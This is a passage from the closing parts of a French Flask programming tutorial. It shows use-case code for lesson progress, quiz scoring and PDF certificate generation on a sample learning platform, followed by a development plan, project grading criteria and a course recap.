  POST   /api/v1/cours/<id>/forum          -> Poster une question [SECURISE]

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OUTIL] USE CASES CRITIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # domain/use_cases/terminer_lecon.py
  from dataclasses import dataclass
  from datetime import datetime, timezone

  @dataclass
  class TerminerLeconInput:
      user_id:  int
      lecon_id: int

  class TerminerLeconUseCase:
      """
      Use Case : Marquer une leçon comme terminée.
      Vérifie l'inscription, met à jour la progression,
      et déclenche la génération de certificat si cours terminé.
      """

      def __init__(self, inscription_repo, progression_repo,
                   cours_repo, certificat_service):
          self.inscription_repo  = inscription_repo
          self.progression_repo  = progression_repo
          self.cours_repo        = cours_repo
          self.certificat_service = certificat_service

      def executer(self, input_: TerminerLeconInput):
          lecon = self.cours_repo.trouver_lecon(input_.lecon_id)
          if not lecon:
              raise ValueError("Leçon introuvable")

          # Vérifier que l'utilisateur est inscrit au cours
          cours_id = lecon.chapitre.cours_id
          inscription = self.inscription_repo.trouver(input_.user_id, cours_id)
          if not inscription and not lecon.est_gratuite:
              raise PermissionError("Vous devez être inscrit pour accéder à cette leçon")

          # Marquer la leçon terminée
          progression = self.progression_repo.marquer_terminee(
              input_.user_id, input_.lecon_id
          )

          # Vérifier si le cours est complètement terminé
          toutes_lecons  = self.cours_repo.compter_lecons(cours_id)
          lecons_terminees = self.progression_repo.compter_terminees(
              input_.user_id, cours_id
          )

          cours_termine = (toutes_lecons > 0 and lecons_terminees >= toutes_lecons)

          if cours_termine:
              # Générer le certificat !
              certificat = self.certificat_service.generer(
                  input_.user_id, cours_id
              )
              return {
                  'progression': progression,
                  'cours_termine': True,
                  'certificat': certificat,
                  'message': '[BRAVO] Félicitations ! Vous avez terminé ce cours !'
              }

          return {
              'progression': progression,
              'cours_termine': False,
              'lecons_terminees': lecons_terminees,
              'total_lecons': toutes_lecons,
              'pourcentage': round(lecons_terminees / toutes_lecons * 100)
          }

  # domain/use_cases/soumettre_quiz.py
  class SoumettreQuizUseCase:
      """
      Use Case : Soumettre les réponses à un quiz et calculer le score.
      """

      SCORE_MINIMUM_REUSSITE = 70  # 70% pour réussir

      def executer(self, user_id: int, quiz_id: int, reponses: dict) -> dict:
          """
          reponses = {question_id: option_id_choisie}
          """
          quiz = self.quiz_repo.trouver(quiz_id)
          if not quiz:
              raise ValueError("Quiz introuvable")

          nb_correct = 0
          details = []

          for question in quiz.questions:
              option_choisie_id = reponses.get(str(question.id))
              bonne_option = next((o for o in question.options if o.est_correcte), None)

              est_correct = (
                  option_choisie_id is not None and
                  bonne_option is not None and
                  int(option_choisie_id) == bonne_option.id
              )

              if est_correct:
                  nb_correct += 1

              details.append({
                  'question_id':    question.id,
                  'enonce':         question.enonce,
                  'est_correct':    est_correct,
                  'option_choisie': option_choisie_id,
                  'bonne_option':   bonne_option.id if bonne_option else None,
                  'explication':    question.explication
              })

          total = len(quiz.questions)
          score = round(nb_correct / total * 100) if total > 0 else 0
          reussi = score >= self.SCORE_MINIMUM_REUSSITE

          # Sauvegarder la tentative
          self.tentative_repo.sauvegarder({
              'user_id': user_id,
              'quiz_id': quiz_id,
              'score':   score,
              'reussi':  reussi
          })

          return {
              'score':   score,
              'reussi':  reussi,
              'message': '[OK] Quiz réussi !' if reussi else f'[X] Score insuffisant ({score}%). Réessayez !',
              'details': details
          }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [DOC] GÉNÉRATION DE CERTIFICAT PDF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/tasks/certificats.py
  import secrets
  from reportlab.lib.pagesizes import A4, landscape
  from reportlab.lib.colors import HexColor
  from reportlab.pdfgen import canvas
  from reportlab.lib.units import cm

  @celery_app.task(name='app.tasks.certificats.generer_certificat_pdf')
  def generer_certificat_pdf(user_id: int, cours_id: int) -> str:
      """
      Génère un beau certificat PDF de complétion.
      Retourne le chemin du fichier généré.
      """
      from app.models import Utilisateur, Cours, Certificat
      from app.extensions import db

      user  = Utilisateur.query.get(user_id)
      cours = Cours.query.get(cours_id)

      if not user or not cours:
          raise ValueError("Utilisateur ou cours introuvable")

      # Créer ou récupérer le certificat en BDD
      certif = Certificat.query.filter_by(user_id=user_id, cours_id=cours_id).first()
      if not certif:
          code = secrets.token_hex(8).upper()
          certif = Certificat(user_id=user_id, cours_id=cours_id, code=code)
          db.session.add(certif)
          db.session.flush()

      # Générer le PDF
      chemin = f"uploads/certificats/certif_{certif.code}.pdf"
      c = canvas.Canvas(chemin, pagesize=landscape(A4))

      W, H = landscape(A4)

      # Fond
      c.setFillColor(HexColor('#1e293b'))
      c.rect(0, 0, W, H, fill=1)

      # Bordure décorative
      c.setStrokeColor(HexColor('#f59e0b'))
      c.setLineWidth(3)
      c.rect(20, 20, W-40, H-40)

      # Titre
      c.setFillColor(HexColor('#f59e0b'))
      c.setFont('Helvetica-Bold', 42)
      c.drawCentredString(W/2, H - 100, 'CERTIFICAT DE COMPLÉTION')

      # Sous-titre
      c.setFillColor(HexColor('#e2e8f0'))
      c.setFont('Helvetica', 20)
      c.drawCentredString(W/2, H - 145, 'EduPlatform — Excellence en Apprentissage')

      # Nom du participant
      c.setFillColor(HexColor('#ffffff'))
      c.setFont('Helvetica-Bold', 36)
      c.drawCentredString(W/2, H/2 + 20, user.nom.upper())

      # Texte de certification
      c.setFont('Helvetica', 18)
      c.setFillColor(HexColor('#94a3b8'))
      c.drawCentredString(W/2, H/2 - 20, 'a complété avec succès le cours')

      c.setFillColor(HexColor('#60a5fa'))
      c.setFont('Helvetica-Bold', 24)
      c.drawCentredString(W/2, H/2 - 65, cours.titre)

      # Date
      from datetime import datetime
      date_str = datetime.now().strftime('%d %B %Y')
      c.setFont('Helvetica', 14)
      c.setFillColor(HexColor('#94a3b8'))
      c.drawCentredString(W/2, 80, f'Délivré le {date_str} | Code : {certif.code}')

      c.save()

      # Mettre à jour le chemin en BDD
      certif.chemin_pdf = chemin
      db.session.commit()

      # Envoyer par email
      from app.tasks.emails import envoyer_email_async
      envoyer_email_async.delay(
          user.email,
          f'[BRAVO] Votre certificat EduPlatform — {cours.titre}',
          'emails/certificat',
          {'user': {'nom': user.nom}, 'cours': {'titre': cours.titre},
           'code': certif.code, 'chemin_pdf': chemin}
      )

      return chemin


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [LISTE] PLAN DE DÉVELOPPEMENT EduPlatform
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PHASE 1 — FONDATIONS (Semaine 1-2)
  ──────────────────────────────────
  [WHITE_SQUARE] Initialiser le projet Flask avec l'Application Factory
  [WHITE_SQUARE] Créer tous les modèles SQLAlchemy + migrations
  [WHITE_SQUARE] Configurer l'authentification JWT (register, login, refresh)
  [WHITE_SQUARE] Seeder la BDD avec des données de démonstration

  PHASE 2 — CATALOGUE (Semaine 3)
  ──────────────────────────────────
  [WHITE_SQUARE] CRUD cours (instructeur) + publication
  [WHITE_SQUARE] API catalogue public avec filtres (niveau, prix, popularité)
  [WHITE_SQUARE] API syllabus (chapitres et leçons)
  [WHITE_SQUARE] Accès conditionnel aux leçons (inscrit ou leçon gratuite)

  PHASE 3 — APPRENTISSAGE (Semaine 4)
  ────────────────────────────────────
  [WHITE_SQUARE] Inscription cours (gratuit direct, payant -> Stripe)
  [WHITE_SQUARE] Progression par leçon (marquer terminée)
  [WHITE_SQUARE] Quiz avec correction automatique et score
  [WHITE_SQUARE] Tableau de bord étudiant (progression, certificats)

  PHASE 4 — ENGAGEMENT (Semaine 5)
  ──────────────────────────────────
  [WHITE_SQUARE] Certificats PDF (Celery + ReportLab)
  [WHITE_SQUARE] Forum de discussion par cours (SocketIO)
  [WHITE_SQUARE] Notifications en temps réel (SSE ou SocketIO)
  [WHITE_SQUARE] Système de badges (complétion, top apprenant...)

  PHASE 5 — PRODUCTION (Semaine 6)
  ──────────────────────────────────
  [WHITE_SQUARE] Tests complets (≥80% couverture)
  [WHITE_SQUARE] Optimisations (cache Redis, indexes BDD)
  [WHITE_SQUARE] Docker + CI/CD GitHub Actions
  [WHITE_SQUARE] Déploiement sur VPS avec SSL

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OBJECTIF] CRITÈRES D'ÉVALUATION DU PROJET FINAL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ARCHITECTURE (25 points)
  [WHITE_SQUARE] Application Factory correcte                           (5 pts)
  [WHITE_SQUARE] Séparation des couches (routes/services/repos/modèles) (5 pts)
  [WHITE_SQUARE] Au moins 1 Use Case en architecture hexagonale         (10 pts)
  [WHITE_SQUARE] Pas de logique métier dans les routes                  (5 pts)

  FONCTIONNALITÉS (30 points)
  [WHITE_SQUARE] Auth JWT complète (register/login/refresh/logout)      (5 pts)
  [WHITE_SQUARE] CRUD cours complet (instructeur)                       (5 pts)
  [WHITE_SQUARE] Inscription et progression (étudiant)                  (5 pts)
  [WHITE_SQUARE] Quiz avec correction automatique                       (5 pts)
  [WHITE_SQUARE] Certificat PDF généré                                  (5 pts)
  [WHITE_SQUARE] Notifications temps réel (SSE ou SocketIO)             (5 pts)

  QUALITÉ (25 points)
  [WHITE_SQUARE] Tests unitaires ≥ 15 tests domaine                     (10 pts)
  [WHITE_SQUARE] Tests intégration ≥ 15 tests API                       (10 pts)
  [WHITE_SQUARE] Couverture ≥ 70%                                       (5 pts)

  PRODUCTION (20 points)
  [WHITE_SQUARE] Docker + docker-compose                                (5 pts)
  [WHITE_SQUARE] CI/CD GitHub Actions (tests + build)                   (5 pts)
  [WHITE_SQUARE] Déploiement fonctionnel sur VPS                        (5 pts)
  [WHITE_SQUARE] SSL + HTTPS + headers sécurité                         (5 pts)

  TOTAL : 100 points


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [CHEQUERED_FLAG] CONCLUSION DU FLASK MASTER GUIDE                                 ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CE QUE TU AS APPRIS EN 20 PARTIES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PARTIE 1  — HTTP, JSON, Python pour Flask, environnement
  PARTIE 2  — Flask core, routing, Blueprints, request/response
  PARTIE 3  — Jinja2, templates, héritage, macros, CSS
  PARTIE 4  — Formulaires HTML, Flask-WTF, validation, upload
  PARTIE 5  — SQLite, SQLAlchemy ORM, modèles, migrations, relations
  PARTIE 6  — CRUD complet, Repository, Service Layer, Cache
  PARTIE 7  — API REST, Marshmallow, Swagger, Postman, Newman
  PARTIE 8  — Auth : bcrypt, JWT, sessions, refresh tokens, 2FA
  PARTIE 9  — Architecture : Blueprints avancés, config, design patterns
  PARTIE 10 — Sécurité : CSRF, XSS, injection SQL, HTTPS, headers
  PARTIE 11 — Testing : pytest, conftest, fixtures, intégration, e2e
  PARTIE 12 — Performance : Redis, cache, N+1, indexes, profiling
  PARTIE 13 — DevOps : Docker, docker-compose, CI/CD GitHub Actions
  PARTIE 14 — Déploiement : Gunicorn, Nginx, VPS Ubuntu, SSL
  PARTIE 15 — Projet réel : API complète BookFlow, SaaS, dashboard admin
  PARTIE 16 — Avancé : SSE, Flask-SocketIO, Celery, tâches asynchrones
  PARTIE 17 — Debugging : Flask Shell, pdb, erreurs courantes, Sentry
  PARTIE 18 — Projets pratiques : TinyURL, TaskFlow, BlogAPI
  PARTIE 19 — Clean Architecture : Hexagonale, DDD, CQRS, Outbox Pattern
  PARTIE 20 — Projet Final : EduPlatform enterprise-grade

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  STACK MAÎTRISÉE À L'ISSUE DE CE GUIDE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FRAMEWORK :        Flask 3.0, Gunicorn
  BASE DE DONNÉES :  SQLAlchemy, Flask-Migrate, PostgreSQL, SQLite
  AUTH :             Flask-JWT-Extended, bcrypt, sessions
  VALIDATION :       Marshmallow, Flask-WTF
  CACHE :            Flask-Caching, Redis
  TEMPS RÉEL :       Server-Sent Events, Flask-SocketIO
  ASYNCHRONE :       Celery, Celery Beat, Flower
  TESTS :            pytest, pytest-flask, Factory-Boy, Faker
  SÉCURITÉ :         CSRF, CORS, CSP, HTTPS, Bandit, Safety
  DEVOPS :           Docker, GitHub Actions, Nginx, Let's Encrypt
  QUALITÉ CODE :     black, flake8, isort, mypy
  MONITORING :       Sentry, Prometheus, Grafana, Netdata
  ARCHITECTURE :     Hexagonale, DDD, CQRS, Repository Pattern,
                     Service Layer, Event Bus, Unit of Work

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  PROCHAINES ÉTAPES RECOMMANDÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  APPROFONDISSEMENT :
  [WHITE_SQUARE] FastAPI (alternative async à Flask, plus moderne pour les APIs)
  [WHITE_SQUARE] Django (quand une application web complète est nécessaire)
  [WHITE_SQUARE] SQLAlchemy 2.0 async (pour les applications I/O intensives)
  [WHITE_SQUARE] GraphQL avec Strawberry (alternative à REST)
  [WHITE_SQUARE] gRPC (pour les microservices internes)

  SPÉCIALISATION INFRASTRUCTURE :
  [WHITE_SQUARE] Kubernetes (orchestration de conteneurs à grande échelle)
  [WHITE_SQUARE] Terraform (Infrastructure as Code)
  [WHITE_SQUARE] AWS/GCP/Azure (services cloud managés)
  [WHITE_SQUARE] Apache Kafka (streaming d'événements à très grande échelle)

  SPÉCIALISATION DOMAINE :
  [WHITE_SQUARE] Machine Learning API (Flask + scikit-learn, TensorFlow)
  [WHITE_SQUARE] Microservices (Service Mesh, Istio)
  [WHITE_SQUARE] Event Sourcing (en complément du CQRS)
  [WHITE_SQUARE] WebAssembly (Pyodide pour Flask dans le navigateur)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  RESSOURCES COMPLÉMENTAIRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  DOCUMENTATION OFFICIELLE :
  -> Flask        : https://flask.palletsprojects.com
  -> SQLAlchemy   : https://docs.sqlalchemy.org
  -> Marshmallow  : https://marshmallow.readthedocs.io
  -> Celery       : https://docs.celeryq.dev
  -> Flask-JWT-Extended : https://flask-jwt-extended.readthedocs.io

  LIVRES RECOMMANDÉS :
  -> "Flask Web Development" — Miguel Grinberg (O'Reilly)
  -> "Designing Data-Intensive Applications" — Martin Kleppmann
  -> "Clean Architecture" — Robert C. Martin
  -> "Domain-Driven Design" — Eric Evans
  -> "Building Microservices" — Sam Newman

  COMMUNAUTÉS :
  -> r/flask (Reddit)
  -> Discord Flask
  -> Stack Overflow (tag: flask)
  -> GitHub : pallets/flask (issues et discussions)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  [COURS] FÉLICITATIONS !

  Tu as complété le Flask Master Guide — 20 parties, 63 chapitres,
  et des milliers de lignes de code soigneusement expliquées.

  Tu possèdes maintenant toutes les compétences pour :
  [OK] Construire des APIs REST professionnelles avec Flask
  [OK] Concevoir des architectures scalables et maintenables
  [OK] Déployer en production avec Docker, Nginx et Let's Encrypt
  [OK] Écrire des tests automatisés robustes
  [OK] Appliquer les meilleures pratiques de sécurité
  [OK] Travailler en équipe avec CI/CD et Git
  [OK] Débugger et optimiser des applications en production

  Le projet BookFlow que tu as construit tout au long de ce guide
  est un exemple complet, production-ready, d'une application Flask
  professionnelle que tu peux présenter dans ton portfolio.

  "La maîtrise vient de la pratique répétée, pas de la lecture seule."
  — Commence maintenant le projet EduPlatform !

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
              Parties 19 & 20 / 20 — FIN DU GUIDE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━